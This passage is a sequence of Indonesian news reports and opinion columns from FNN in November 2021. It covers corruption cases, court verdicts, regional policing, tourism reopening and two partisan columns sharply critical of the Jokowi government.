kekuasaan yang mulai mabuk dan semaput. Pemerintahan Jokowi yang sudah kehilangan legitimasi rakyat. Ayo bangkit Indonesia, menghadapi rezim klojotan. Diksi yang sederhana dan unik khas Betawi. Sebagaimana yang dicukil Babeh Ridwan Saidi. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Anis Matta: Semua Bisa Jadi Pahlawan dengan Semangat Berbagi

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Rakyat Indonesia Anis Matta menilai, tiga Pahlawan Nasional ini telah memberikan kontribusi luar biasa dengan perannya masing-masing pada saat itu. Yakni HOS Tjokroaminoto, Bung Tomo dan KH Hasyim Asyari. HOS Tjokroaminoto dengan tindakan kepahlawanannya telah melahirkan para pemimpin bangsa seperti Sukarno (Bung Karno). Sedangkan Bung Tomo (Dr Sutomo) adalah jurnalis yang berani mengambil-alih kepemimpinan untuk mempertahankan kemerdekaan. Sementara KH Hasyim Asyari adalah ulama yang telah melahirkan Resolusi Jihad untuk mempertahankan kemerdekaan Indonesia. "Pak Tjokro (HOS Tjokroaminoto) adalah pemimpin yang melahirkan pemimpin, Bung Tomo adalah seorang jurnalis yang mengambil alih posisi kepemimpinan, serta KH Hasyim Asyari adalah ulama yang telah melahirkan Resolusi Jihad untuk mempertahankan kemerdekaan dan Ini semua adalah kontribusi luar biasa," kata Anis Matta dalam diskusi Gelora Talk bertajuk 'Semua Bisa Jadi Pahlawan, Gelorakan Semangat Kepahlawanan', Rabu (10/11/2021) petang. Diskusi yang disiarkan live dari Museum HOS Tjokroaminoto , Surabaya ini menghadirkan narasumber lain, yakni Wakil Ketua Syuriah NU Surabaya Prof Dr Imam Ghozali Said, MA dan Pahlawan UMKM Titik Suwandari. Menurut Anis Matta, semua orang bisa menjadi pahlawan, apalagi bangsa Indonesia yang saat ini sedang menghadapi krisis berlarut akibat pandemi Covid-19. Bangsa Indonesia, lanjutnya, mempunyai banyak pahlawan yang tidak hanya memperjuangkan dan mempertahankan kemerdekaan saja, tetapi juga mengisi kemerdekaan itu sendiri. "Semangat kepahlawanan sekarang dalam konteks berbeda, semua orang bisa menjadi pahlawan. Semangat pahlawan itu, adalah semangat memberi, dari profesi apapun, posisi apapun. Kita datang dengan semangat yang sama. Semangat itulah yang membuat kita menjadi besar," katanya. Semangat HOS Tjokroaminoto selain melahirkan para pemimpin, yang perlu dilanjutkan adalah semangat memberdayakan ekonomi dalam upaya untuk membangkitkan ekonomi pribumi dengan mendirikan Sarekat Dagang Islam (SDI), yang kemudian diubah menjadi Sarikat Islam (SI). "Saya kira istilah pribumi pada waktu itu, tentu saja sangat tepat. Ya cuma kalau sekarang, saya tidak terlalu ingin menggunakan istilah pribumi dan nonpribumi seperti itu, karena pada dasarnya adalah semua warga Indonesia," kata Anis Matta Apa yang dilakukan HOS Tjokroaminoto itu, menurutnya, telah melampaui apa yang mereka miliki, dari hasil diskusi rumit di tengah tekanan hidup yang sangat berat. "Inilah tindakan kepahlawanan, melampaui sumber daya di antara sumber daya. Orang yang mau hidup dalam tekanan, akibat keterbatasan sumberdaya akan mencapai hal yang sangat besar," katanya. Atas tindakan pencapaian ini, lanjutnya, maka seorang pemimpin akan menjadi relevan, meskipun dengan sumberdaya yang sedikit. "Mereka (HOS Tjokroaminoto dkk, red) tidak pernah membayangkan bahwa pada suatu waktu akan menjadi satu ledakan sejarah yang dahsyat, yang melahirkan satu republik namanya Indonesia dan masuk dalam proses pencatatan sejarah," ujarnya. "Bagaimana kita sekarang ini bisa menangkap tindakan kepahlawanan dengan kesadaran sejarah kita. Ke depan kita bisa membuat satu proyeksi yang bisa memandu kita untuk menatap masa depan," imbuhnya. Wakil Ketua Syuriah NU Surabaya Prof Dr Imam Ghozali Said, MA menegaskan, kemerdekaan Bangsa Indonesia tidak diberikan bangsa lain atau hadiah dari penjajah. Tetapi dengan perjuangan dan pengorbanan nyawa seluruh rakyat Indonesia. "Jepang memang sudah mempersiapkan kemerdekaan Indonesia melalui pembentukan PPKI, tetapi bisa memanfaatkan momentum politik kekalahan Jepang, apalagi hadiah Sekutu, sehingga kita memproklamirkan kemerdekaan. Nah, ketika Sekutu datang ke Surabaya ditolak, tidak ada diplomasi. Dan ulama memberikan fatwa Resolusi Jihad, terjadilah peristiwa 10 Nopember yang dipimpin Bung Tomo. " kata Ghozali Said. Sementara itu, Pahlawan UMKM Titik Suwandari, instruktur dan narasumber di Disperindag Provinsi Jawa Timur (Jatim) mengatakan, telah membina ratusan UMKM di Jatim. Titik secara khusus membina kaum perempuan untuk melakukan kegiatan sendiri selama pandemi Covid-19 agar tidak berdiam diri dan bisa menopang ekonomi keluarga. "Saya berdayakan kaum perempuan ini melalui zoom atau saya datangi langsung ke rumah. Tujuannya untuk membesarkan hati mereka, bisa menopang ekonomi keluarga dan mereka tidak manja lagi. Kita dampingi mereka dengan alat-alat yang ada di rumah dan bahan dari daerah itu," katanya Titik Suwandari. Ia mengatakan, bahan-bahan yang ada di sekitar mereka bisa dimanfaatkan dan dapat memberikan nilai tambah ekonomi tertentu. Misalkan pelepah pisang bisa menjadi krupuk, ubi bisa menjadi sereal pengganti dan suplemen minuman kesehatan dari buah-buahan. "Buah-buahan bisa dijadikan serbuk nutrisari seperiti yang dilakukan industri besar, kenapa UMKM kalah, Padahal dengan alat blender dan wajan itu sudah jadi. Contoh di Batu kita hadirkan Apel dengan segala variasinya, Nanas Blitar dan Mangga Probolinggo dengan segala variasinya. Ini salah satu langkah-langkah yang kita lakukan dalam memberdayakan UMKM," paparnya. Dalam kesempatan ini, Anis Matta memberikan penghargaan dan apresiasi pada ketiga pahlawan masa kini yakni pertama Abdul Majid Uno, pejuang disabilitas yang bergerak di pemenuhan hak-hak disablitas. Kedua Rina Roselawati, pejuang sosial membantu masyarakat kecil dalam pengentasan kemiskinan dan gizi buruk dari tingkat RT hingga di kabupaten di Jatim. Ketiga Titik Suwandari, pejuang ekonomi yang memperjuangkan, serta membantu pemberdayaan masyarakat kecil dan UMKM di Jatim. (sah)

Pangdam Iskandar Muda Minta Dukungan Ulama dalam Bertugas

Banda Aceh, FNN - Panglima Kodam Iskandar Muda, Mayor Jenderal TNI Achmad Marzuki, mengharapkan dukungan ulama dalam menjalankan tugas-tugasnya agar dapat berjalan secara lebih baik. "Saya pribadi panglima Kodam Iskandar Muda, tentunya dibantu para ulama, doa ulama supaya kita bisa menjalankan tugas kita dengan benar," kata Marzuki, di Aceh Besar, Rabu malam (10/11). Ia katakan itu seusai menghadiri kegiatan pembukaan silaturahmi akbar ulama se-Aceh, bahwa tanpa ulama tentunya masih ada yang kurang, karena itu dia meminta doa dari para ulama agar semuanya selamat dalam melaksanakan tugas. Ia menilai, kegiatan silaturahmi ulama se-Aceh itu sangat bagus dalam rangka menyamakan satu pandangan bagaimana sama-sama membangun Provinsi Aceh ini. Selain itu, para ulama juga mempunyai peran yang besar dalam rangka pendidikan, khususnya di Provinsi Aceh yang menegakkan syariat Islam. "Sebagaimana sejarah Aceh dari dulu, juga kesultanan dari ulama, semuanya yang punya besar untuk Aceh, mungkin ke depan harus baik lagi," ujarnya. Ia menyampaikan, Aceh ke depan harus menjadi Serambi Mekkah lagi. Selain itu dia juga menuturkan, Aceh memiliki Masjid Raya Baiturrahman yang merupakan bangunan cagar budaya, dan juga termasuk yang tertua, karena itu dia mengajak semua harus memelihara rumah ibadah itu sebaik-baiknya. "Saya rasa masyarakat di sini (Aceh) ingin Masjid Raya tetap bersih, tetap besar, dan tetap menjadi salah satu icon kota Aceh yang semua orang tahu," kata dia. (sws, ant)

KPK Periksa Pegawai Pajak yang Ditangkap di Sulsel

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memeriksa seorang pegawai pajak yang sebelumnya ditangkap di Sulawesi Selatan (Sulsel), Rabu (10/11). Penangkapan tersebut terkait pengembangan kasus dugaan suap perpajakan dengan terdakwa mantan Direktur Pemeriksaan dan Penagihan Ditjen Pajak Angin Prayitno Aji. "Sudah (tiba) sekitar pukul 09.40 WIB. Saat ini masih pemeriksaan oleh tim penyidik," ucap Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. KPK menilai pegawai pajak tersebut tidak kooperatif selama proses penyidikan kasus sehingga ditangkap. KPK belum menjelaskan secara rinci identitas lengkap dari pegawai pajak tersebut maupun konstruksi yang menjeratnya tersebut. "Segera setelah itu kami sampaikan perkembangannya," ucap Ali. Sebelumnya, Angin Prayitno Aji dan Kepala Sub-Direktorat Kerja Sama dan Dukungan Pemeriksaan Direktorat Jenderal Pajak 2016-2019 Dadan Ramdani didakwa menerima suap senilai Rp15 miliar dan 4 juta dolar Singapura (sekitar Rp42,17 miliar) sehingga totalnya mencapai Rp57 miliar dari tiga wajib pajak untuk merekayasa hasil penghitungan pajak. Pemberian suap itu berasal dari dua orang konsultan pajak PT Gunung Madu Plantations yaitu Aulia Imran Magribi dan Ryan Ahmad Ronas, kuasa Bank Pan Indonesia (Panin) Veronika Lindawati, dan konsultan pajak PT Jhonlin Baratama Agus Susetyo. (sws, ant)

Hukuman Bekas Menteri KP Edhy Prabowo Diperberat Menjadi 9 Tahun Penjara

Jakarta, FNN - Pengadilan Tinggi DKI Jakarta memperberat vonis terhadap mantan Menteri Kelautan dan Perikanan Edhy Prabowo menjadi 9 tahun penjara dalam perkara penerimaan suap terkait ekspor benih bening lobster (BBL) atau benur. "Menyatakan terdakwa Edhy Prabowo terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi korupsi yang dilakukan secara bersama-sama sebagaimana dakwaan alternatif pertama. Menjatuhkan pidana kepada terdakwa tersebut dengan pidana penjara selama 9 tahun dan denda sebesar Rp400 juta dengan ketentuan bila denda tidak dibayar diganti pidana kurungan selama 6 bulan," demikian termuat dalam putusan Edhy Prabowo di laman Mahkamah Agung yang diakses di Jakarta, Kamis. Putusan di tingkat banding itu dijatuhkan pada 21 Oktober 2021 oleh Haryono selaku hakim ketua majelis dan Mohammad Lutfi, Singgih Budi Prakoso, Reny Halida Ilham Malik serta Anton Saragih masing-masing sebagai hakim anggota. Edhy Prabowo juga dihukum untuk membayar uang pengganti sejumlah Rp9.687.457.219 dan 77 ribu dolar AS dengan memperhitungkan uang yang telah dikembalikan dan bila tidak dibayar harta bendanya akan disita dan dilelang, dan bila harta benda tidak cukup maka harus dipidana selama 3 tahun penjara. "Menjatuhkan pidana tambahan terhadap terdakwa berupa pencabutan hak untuk dipilih dalam jabatan publik selama 3 tahun sejak terdakwa selesai menjalani pidana pokoknya," demikian termuat dalam putusan tersebut. Putusan banding tersebut memperberat hukuman bagi Edhy Prabowo di tingkat pertama. Pada 15 Juli 2021, Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta menjatuhkan vonis 5 tahun penjara ditambah denda Rp400 juta subisider 6 bulan kurungan. Putusan di tingkat banding juga lebih berat dibanding tuntutan Jaksa Penuntut Umum (JPU) KPK yang menuntut agar Edhy Prabowo divonis 5 tahun penjara. Dalam pertimbangannya, majelis hakim di tingkat banding menyatakan memori banding yang diajukan penasihat hukum Edhy tidak ditemukan hal-hal baru yang dapat melemahkan atau membatalkan putusan pengadilan Tipikor dan hanya pengulangan dari apa yang disampaikan sebelumnya. Namun terkait dengan lamanya pidana penjara yang dijatuhkan majelis hakim tingkat pertama, menurut majelis hakim tingkat banding belum memenuhi rasa keadilan masyarakat sehingga harus diubah. "Bahwa penjatuhan pidana pokok kepada terdakwa tidak mencerminkan rasa keadilan masyarakat yang seharusnya ditangani secara ekstra dan luar biasa terlebih lagi terdakwa adalah seorang menteri yang membawahi Kementerian Kelautan dan Perikanan Republik Indonesia, telah dengan mudahnya memerintahkan anak buahnya berbuat hal yang menyimpang dan tidak jujur," tutur hakim menjelaskan. Edhy juga dinilai telah merusak tatanan kerja yang selama ini ada, berlaku, dan terpelihara dengan baik. "Terdakwa telah menabrak aturan atau tatanan prosedur yang ada di Kementeriannya sendiri," kata hakim menegaskan. (sws, ant)

Dispar Sebut Hotel di Mataram Cukup Tampung Penonton WSBK

Mataram, FNN - Dinas Pariwisata Kota Mataram, Provinsi Nusa Tenggara Barat, menyebutkan ketersediaan hotel untuk para tamu dan penonton World Superbike (WSBK) sekitar 25.000 orang, sehingga tidak ada pemanfaatan rumah warga menjadi tempat penginapan. Kepala Dinas Pariwisata (Dispar) Kota Mataram H Nizar Denny Cahyadi di Mataram, Kamis, mengatakan, jumlah kamar hotel di Mataram saat ini tersedia 4.077 kamar. "Namun yang dapat digunakan sekitar 2.777 kamar sebab 1.300 kamar digunakan oleh Amman Mineral Nusa Tenggara (AMNT) untuk karantina karyawan," katanya. Sebanyak 2.777 kamar tersebut termasuk tiga hotel yang sebelumnya menjadi rumah sakit darurat COVID-19, yakni Hotel Nutana, Fizz, dan Grand Iin. "Tapi, belum termasuk Hotel Prime Prak di Jalan Udayana. Informasinya mereka akan buka lima lantai," katanya. Sementara, jumlah penonton yang ditarget sebanyak 25.000 itu informasinya terbagi menjadi 15.000 penonton lokal dan sisanya dari luar baik dalam maupun luar negeri. Dengan demikian, lanjut Denny, sejauh ini kegiatan menyiapkan rumah warga sebagai penginapan bagi tamu dan penonton WSBK di Mataram tidak ada. Akan tetapi, lanjutnya, kegiatan pembangunan atau renovasi rumah warga sebagai tempat penginapan sudah dilaksanakan di kabupatan pelaksana WSBK yakni Kabupaten Lombok Tengah, sebab lebih dekat dengan akses ke sirkuit. "Untuk penginapan penonton WSBK, sejauh ini kita masih mengandalkan hotel baik hotel berbintang maupun melati," ujarnya. (mth)

Jumhur Hidayat Divonis 10 Bulan Penjara

Jakarta, FNN - Majelis hakim Pengadilan Negeri Jakarta Selatan di Jakarta, Kamis, memvonis aktivis buruh Jumhur Hidayat dihukum penjara 10 bulan karena ia terbukti melakukan tindak pidana menyiarkan berita tidak lengkap yang berpotensi menerbitkan keonaran. Walaupun demikian, majelis hakim yang dipimpin oleh Hakim Ketua Hapsoro Widodo menetapkan Jumhur Hidayat tidak perlu ditahan karena dia masih dalam perawatan dokter. "(Majelis hakim) menjatuhkan pidana penjara selama 10 bulan, menetapkan pidana penjara dikurangi masa penangkapan dan penahanan, menetapkan terdakwa tidak ditahan," kata Hapsoro Widodo saat membacakan putusan. Dalam putusan itu, majelis hakim menyampaikan pertimbangan yang memberatkan dan meringankan vonis. "Keadaan memberatkan, perbuatan terdakwa meresahkan. Keadaan meringankan, terdakwa kooperatif, mengakui perbuatan, tidak berbelit-belit, terdakwa masih dalam perawatan dokter pascaoperasi, dan terdakwa masih ada tanggungan keluarga," sebut Hapsoro. Dalam persidangan, vonis hakim terhadap Jumhur itu sejalan dengan dakwaan alternatif pertama lebih subsider jaksa, yaitu mengacu pada Pasal 15 UU No. 1 Tahun 1946 tentang Peraturan Hukum Pidana. Akan tetapi, majelis hakim menetapkan dakwaan primer dan dakwaan subsider jaksa yang mengacu pada Pasal 14 ayat (1) dan ayat (2) UU No.1 Tahun 1946 tidak terbukti sehingga Jumhur pun bebas dari dua dakwaan tersebut. Dalam putusannya, Hapsoro lanjut menyampaikan barang bukti berupa satu unit gawai dan flashdisk harus diserahkan untuk dimusnahkan, sementara barang bukti lain termasuk laptop dan atribut-atribut kampanye diperintahkan untuk dikembalikan ke terdakwa. Jumhur Hidayat, petinggi Koalisi Aksi Menyelamatkan Indonesia (KAMI) sekaligus wakil ketua umum Konfederasi Serikat Pekerja Seluruh Indonesia (KSPSI), kena kasus pidana setelah ia mengkritik Undang-Undang Omnibus Law Cipta Kerja di akun Twitter pribadinya @jumhurhidayat pada 7 Oktober 2020. Jumhur, lewat akun Twitter pribadinya, mengunggah cuitan: “UU ini memang utk PRIMITIVE INVESTORS dari RRC dan PENGUSAHA RAKUS. Kalau INVESTOR BERADAB ya seperti di bawah ini: 35 Investor Asing Nyatakan Keresahannya terhadap Pengesahan UU Cipta Kerja. Klik untuk baca: kmp.im/AGA6m2”. Akibat cuitan itu, Jumhur ditangkap dan ditahan oleh kepolisian sejak 13 Oktober 2020. Dengan demikian, Jumhur telah menjalani masa penangkapan dan penahanan selama kurang lebih 7 bulan. Artinya, ia akan menjalani masa hukumannya selama kurang lebih 3 bulan. Namun, itu terjadi jika penasihat hukum dan penuntut umum tidak mengajukan banding ke Pengadilan Tinggi Jakarta. Sejauh ini, dua pihak belum menentukan sikap soal banding. (sws, ant)

Pemkab Bangka Buka Kembali Masuknya Wisatawan Mancanegara

Sungailiat, Bangka, FNN - Pemerintah Kabupaten (Pemkab) Bangka, Provinsi Kepulauan Bangka Belitung (Babel), membuka masuknya wisatawan mancanegara untuk menikmati keindahan wisata di daerah itu setelah menurunnya kasus sebaran COVID-19. "Sektor kepariwisataan sudah dibuka sejak awal Oktober 2021, termasuk memungkinkan masuknya wisatawan dari sejumlah negara," kata Bupati Bangka Mulkan di Sungailiat, Kamis. Hanya saja, kata bupati, baik wisatawan dalam negeri maupun mancanegara yang masuk di kawasan wisata harus memenuhi aturan protokol kesehatan (prokes) guna memberi jaminan keselamatan dari ancaman sebaran COVID-19. "Semua wisatawan yang masuk objek wisata harus menunjukkan bukti sudah divaksin dan bagi wisatawan dari luar harus dilengkapi bukti dokumen bebas terinfeksi virus jenis baru Corona," jelasnya. Dibukanya kembali kepariwisataan daerah setelah sempat berhenti akibat meningkatnya kasus sebaran COVID-19, kata Mulkan, sebagai strategi mempercepat pemulihan perekonomian, terutama bagi sektor penyangga pariwisata. "Saya optimis dengan pulihnya sektor kepariwisataan akan memberikan dampak positif pada pertumbuhan ekonomi sektor usaha masyarakat lainnya," kata Bupati Mulkan. Mulkan mengatakan sebaran kasus COVID-19 di daerahnya sampai saat ini menunjukan grafik penurunan yang cukup signifikan dengan ditetapkan sebagai wilayah berada pada Level 2 PPKM oleh Kementerian Dalam Negeri. "Begitu pula realisasi cakupan vaksinasi yang terus meningkat setiap harinya dengan dibukanya layanan vaksin di sejumlah tempat termasuk gerai vaksin wisata," katanya. (sws, ant)

Rezim Black Hole

By M Rizal Fadillah PEMERINTAHAN Jokowi terus menguras dana dari berbagai sumber untuk investasi dan berbagai keperluan pembangunan negeri termasuk menangani pandemi. Sayangnya kebocoran terjadi di sana sini, korupsi dan pencarian komisi ikut menyertai. Keserakahan para pejabat dan pengusaha dalam mengeksploitasi negeri seolah-olah negeri ini menjadi miliknya sendiri. Sebuah film berdurasi pendek yang dibintangi Napoleon Ryan dan disutradai Philip Sanson berjudul "The Black Hole" memenangi Festival film Cannes pada tahun 2008. Menarik karena pemainnya hanya seorang diri dan tidak mengeluarkan suara akan tetapi dahsyat dalam menggambarkan akibat buruk dari sebuah keserakahan. Pemain yang bekerja di depan mesin foto copy di tengah kelelahannya mendapatkan hasil foto copy selembar besar kertas berbundar hitam di tengah, black hole. Segala dapat masuk ke dalam lubang hitam tersebut, termasuk tangan si pemain. Singkatnya ia dapat memasukkan tangan untuk mengambil coklat di kulkas yang ujung nya berniat mencuri uang di brangkas. Gembira dengan kertas black hole ia dapat merogoh uang dari dalam brangkas tersebut terus dan terus. Uang berpindah ke luar. Keserakahan membuat ia terus merogoh ke dalam hingga badannya masuk seluruhnya. Celakanya kertas black hole terlepas dari tempelan di dinding brangkas. Ia tidak bisa keluar dan terjebak di dalam ! Para pejabat dan pengusaha saat ini terbaca dan terasa oleh rakyat berpostur gendut akibat makan minum berlebihan. Makan ribuan bahkan jutaan hektar tanah, makan batubara, makan duit APBN, juga makan pajak dan retribusi rakyat kecil. Minum minyak dan sumber daya air secara eksploitatif dan berlebihan. Bagi-bagi sertifikat tanah kepada rakyat hanya seremonial dan sekedar pencitraan. Berbagai kartu disebar dan sembako pun dibagikan sambil menghinakan. Tidak berimbang dengan keserakahan dalam menghabiskan berbagai sumber daya alam yang seolah tidak ada rasa kenyang dan puas. Sikap ingin berkuasa terus juga adalah model dari keserakahan. Keserakahan itu baru selesai setelah dipaksa berhenti atau mati. Qur'an Surat At Takatsur mengingatkan sifat manusia yang serakah dan baru selesai setelah bertemu kubur. Tanpa membawa harta yang dikumpulkannya. Dalam kisah Rusia ada seseorang yang diperkenankan memiliki tanah seluas dia mampu untuk mencapainya dengan berjalan. Berjalan ia menuju jarak terjauh. Ketika lelah ia melihat ke belakang betapa luas tanah miliknya kini. Tapi ia belum merasa puas. Terus berjalan, bahkan karena tak kuat ia merangkak untuk memperluas area. Masih belum puas, lalu merayap meski nafas sudah tersengal. Akhirnya ia mati. Tanah miliknya hanya satu setengah meter. Rezim black hole adalah rezim yang ingin berinvestasi dan berhutang luar negeri terus dan terus. Korupsi dan komisi terus dan terus. Memperpanjang kekuasaan terus dan terus. Mencuri uang rakyat dengan merasa aman. Menguras brangkas hingga ia sendiri masuk ke dalam brangkas dan tidak bisa keluar lagi. Rezim Jokowi mati. *) Pemerhati Politik dan Kebangsaan

KPK Menangkap Tersangka Kasus Suap Pajak di Sulsel

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menangkap satu tersangka kasus dugaan suap perpajakan di Sulawesi Selatan (Sulsel), Rabu (10/11). "Benar, informasi yang kami peroleh Rabu (10/11), tim penyidik KPK menangkap satu orang pegawai pajak. Penangkapan dilakukan di Sulawesi Selatan," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Penangkapan itu, kata Ali, terkait pengembangan kasus dugaan suap perpajakan dengan terdakwa mantan Direktur Pemeriksaan dan Penagihan Ditjen Pajak Angin Prayitno Aji. KPK menilai pegawai pajak tersebut tidak kooperatif selama proses penyelesaian penyidikan kasus yang saat ini sedang dilakukan. "Hari ini, diagendakan dibawa ke Gedung Merah Putih (KPK) di Jakarta untuk pemeriksaan lebih lanjut. Perkembangannya akan kami sampaikan," ucap Ali. Sebelumnya, Angin Prayitno Aji dan Kepala Sub Direktorat Kerja Sama dan Dukungan Pemeriksaan Direktorat Jenderal Pajak 2016-2019 Dadan Ramdani didakwa menerima suap senilai Rp15 miliar dan 4 juta dolar Singapura (sekitar Rp42,17 miliar) sehingga totalnya mencapai Rp57 miliar dari tiga wajib pajak untuk merekayasa hasil penghitungan pajak. Pemberian suap itu berasal dari dua orang konsultan pajak PT Gunung Madu Plantations yaitu Aulia Imran Magribi dan Ryan Ahmad Ronas, kuasa Bank Pan Indonesia (Panin) Veronika Lindawati, dan konsultan pajak PT Jhonlin Baratama Agus Susetyo. (sws)

Polda Riau Tangkap Sembilan Pejambret yang Beraksi di 97 Lokasi

Pekanbaru, FNN - Tim Reserse mobile Jatantras Direktorat Reserse Kriminal Umum (Dirreskrimum) Kepolisian Daerah Riau menangkap sembilan pejambret yang melakukan aksi kejahatan di 97 lokasi di Kota Pekanbaru dan sekitarnya. "Dari tiga komplotan yang ditangkap, kasus pertama melibatkan lima pelaku yakni empat penjambret dan 1 penadah barang hasil curian," kata Wakapolda Riau, Brigjen Tabana Bangun, didampingi Kabid Humas Kombes Sunarto, dan Dirreskrimum, Kombes Teddy Ristiawan, dalam keterangannya di Pekanbaru, Kamis. Menurut Wakapolda Riau, Brigjen Tabana Bangun pelaku jambret dan penadah tersebut terungkap berdasarkan laporan Zelri Eka Putra, sesuai Laporan Polisi nomor : LP/B/449/X/2021/ SPKT/Polda Riau, pada 30 Oktober 2021. Para pelaku yang menyasar korban, katanya, di antaranya inisial OJS (22) asal Kampar, berperan sebagai eksekutor, FAJ (21) asal Pekanbaru yang berperan sebagai joki. "Kemudian inisial Ten (18) asal Pekanbaru yang berperan membantu pelaku utama jika ada warga yang mengejar maka TEN beserta rekannya KEV akan menghalangi pengejaran. Lalu, KEV (16) asal Pekanbaru, yang berperan bersama sama dengan TEN memberikan perlindungan, sedangkan pelaku yang berperan sebagai penadah adalah inisial POD (23) juga asal Pekanbaru," katanya. Sedangkan korban para pelaku, kata Wakapolda adalah pengendara becak, yang terjadi pada Jumat (29/10) saat korban melintas bersama anaknya. "Kronologisnya, saat korban sedang melihat handphone, tiba-tiba datang dua orang pelaku yakni OJS dan FAJ dan langsung rampas satu HP Redmi korban," kata Wakapolda. Teman pelaku TEN dan KEV, yang turut diamankan lanjut Wakapolda, dalam perkara ini melindungi pelaku dengan menghalangi-halangi korban dan warga yang hendak mengejar pelaku utama. Setelah dilaporkan, titik terang siapa pelaku dapat diungkap sekitar pukul 21.00 WIB. "Kasus ini terungkap setelah masyarakat melaporkan keberadaan para pelaku yang akan menjual HP hasil kejahatan. Kemudian, tim Resmob Jatanras Polda Riau membuntuti dua orang yang di duga pelaku jambret, dengan mengikuti dari Jalan Nangka menuju Panam," katanya. "Awalnya ditangkap dua orang di Hotel Mona Panam. Kemudian berhasil menangkap penadahnya inisial POD bersama 1 unit HP korban, berikutnya dua teman lainnya ditangkap," kata Wakapolda. Dari pengakuan para pelaku, tersangka TEN dan KEV mengaku telah melakukan aksi jambret sebanyak 14 kali. Kemudian, untuk tersangka OJS dan FAJ, mereka mengaku telah beraksi 25 kali. Sedangkan, untuk pengakuan POD yang merupakan penadah barang hasil curian diakuinya sudah menampung 28 kali. "Dari para pelaku disita barang bukti berupa satu unit honda beat warna hitam, satu unit HP Xiaomi 6 A dari TSK POD, serta uang tunai Rp427.000. Para pelaku lainnya, yakni TED (20) asal Pekanbaru, berperan sebagai eksekutor dan YOL (18) selaku joki ditangkap sesuai Laporan Polisi nomor : LP/B/458/XI/2021/SPKT/ Polda Riau, pada 8 November 2021 dengan pelapor Arman Egisna. Dua pelaku ini, lanjut Wakapolda, melakukan aksinya pada Jumat (8/10) siang berlokasi di depan Sekolah Dasar (SD) Kusuma, Kecamatan Tenayan Raya, sekitar pukul 13.30 WIB. "Keduanya terungkap saat tim Resmob melintas jalan bukit barisan dan melihat adanya korban jambret berteriak "jambret". Kemudian, petugas ini langsung mengejar pelaku yang menggunakan sepeda motor merk honda beat dan berhenti di sebuah rumah di Jalan Kereta Api Kel Tangkerang Selatan Kec Marpoyan Damai Kota Pekanbaru," katanya. "Kedua pelaku ditangkap saat penggeledahan dan mengamankan para pelaku bersama motor yang digunakan serta barang bukti HP merek Xiaomi note 9 warna ungu di sebuah rumah. Menurut keterangan kedua pelaku, saat diinterogasi mereka mengaku sudah beraksi di 32 kali. Saat diamankan ditemukan barang bukti yang dapat diamankan, satu motor, satu HP Xiaomi 4 A warna gold milik TSK Yolanda, satu HP Xiaomi 6 A warna gold milik tersangka Tedi serta HP milik korban Xiaomi warna ungu," kata Wakapolda. Kasus terakhir yang berhasil diungkap adalah laporan Nur Laili, sesuai laporan Polisi nomor: LP/B/459/XI/2021/SPKT/POLDA RIAU, pada 9 November 2021. Dua pelaku, masing-masing berinisial AND (29) berperan sebagai joki dan HAR (19) merupakan eksekutor, mereka asal Pekanbaru. AND dan HAR diungkap setelah menerima laporan korban yang terjadi pada Sabtu (6/11) siang pukul 13.30 WIB. Korban yang sedang berhenti disimpang 5 Labersa, langsung didekati pelaku dan merampas HP korban. "Kedua pelaku ditangkap setelah didapat informasi, para tersangka dikabarkan berada disalah satu rumah di Jalan Kereta Api Kelurahan Tangkerang Tengah Kecamatan Marpoyan Damai Kota Pekanbaru. Saat proses interogasi, keduanya mengaku telah beraksi 26 kali. Saat diamankan disita barang bukti satu motor, satu HP OPPO Reno 5 milik korban serta dua helm. Dan dua motor ini digunakan bergantian saat beraksi," kata Tabana Bangun lagi. Dalam perkara ini, para pelaku dijerat pasal 365 KUHP tentang Pencurian dengan kekerasan dengan ancaman hukuman 9 tahun penjara. (sws)

Polresta Musnahkan 1.300 Liter Miras Saat Operasi Lilin

Ambon, FNN - Polresta Pulau Ambon dan Pulau-Pulau Lease akan melakukan pemusnahan barang bukti berupa 1.300 liter miras tradisional jenis sopi ilegal yang merupakan hasil temuan, pada saat gelar pasukan Operasi Lilin 2021. "Lebih dari seribu liter miras jenis sopi ini disita polsek KPYS selama berlangsung operasi Pekat (penyakit masyarakat) 2021 di wilayah hukum polsek," kata Kasubag Humas Polresta setempat, Ipda I. Leatemia di Ambon, Kamis. Operasi Pekat Siwalima berlangsung sejak tanggal 5 hingga 10 November 2021. Menurut dia, kegiatan ini dilakukan anggota Polsek KPYS saat kapal milik PT. PELNI, kapal perintis dan setiap kapal rakyat yang sandar di wilayah hukum polsek. "Seluruh barang bukti ini telah diserahkan Polsek KPYS ke Polresta Pulau Ambon yang dilakukan Kapolsek Iptu Surya Muhammad kepada Ipda Boby Dethan selaku Kasie Propam Polresta," jelas Leatemia. Adapun miras yang diserahkan ini dikemas dengan berbagai bentuk dan ukuran terdiri dari 80 jerigen ukuran 35 liter (350 liter), 48 plastik bening ukuran 5 liter yang totalnya 350 liter hingga dalam kemasan jerigen ukuran 15 liter. "Total keseluruhan barang bukti minuman keras yang diserahkan sebanyak 1.300 liter," kata Leatemia. (sws)

Bupati Kediri Minta Warga Lapor Kegiatan Mencurigakan

Kediri, FNN - Bupati Kediri Hanindhito Himawan Pramana meminta warga proaktif melapor kepada perangkat setempat jika mengetahui ada kegiatan yang mencurigakan, mengantisipasi tindak kejahatan terlebih lagi pascapenangkapan dua terduga teroris di kabupaten ini. "Saya minta kalau ada kegiatan yang mencurigakan, segera dilaporkan," kata Bupati Dhito di Kediri, Jawa Timur, Rabu (10/11). Bupati mengatakan, adanya tindakan terorisme harus dilawan dengan semua bergandengan tangan. Saat ini, keamanan dan kenyamanan warga Kabupaten Kediri menjadi prioritas utama. Untuk mewujudkan itu, dibutuhkan kerja sama dan peran serta semua pihak dan tidak hanya menjadi tanggung jawab pemerintah dan aparat. "Kita perlu bergandengan untuk melawan tindak pelanggaran HAM yang satu ini (tindak terorisme)," kata Mas Bup, sapaan akrabnya. Ia menambahkan upaya deradikalisasi di Kabupaten Kediri juga terus dilakukan termasuk melalui pendidikan di sekolah-sekolah. Bahkan, Pemerintah Kabupaten Kediri juga terus intensif berkoordinasi dengan Forum Kerukunan Umat Beragama 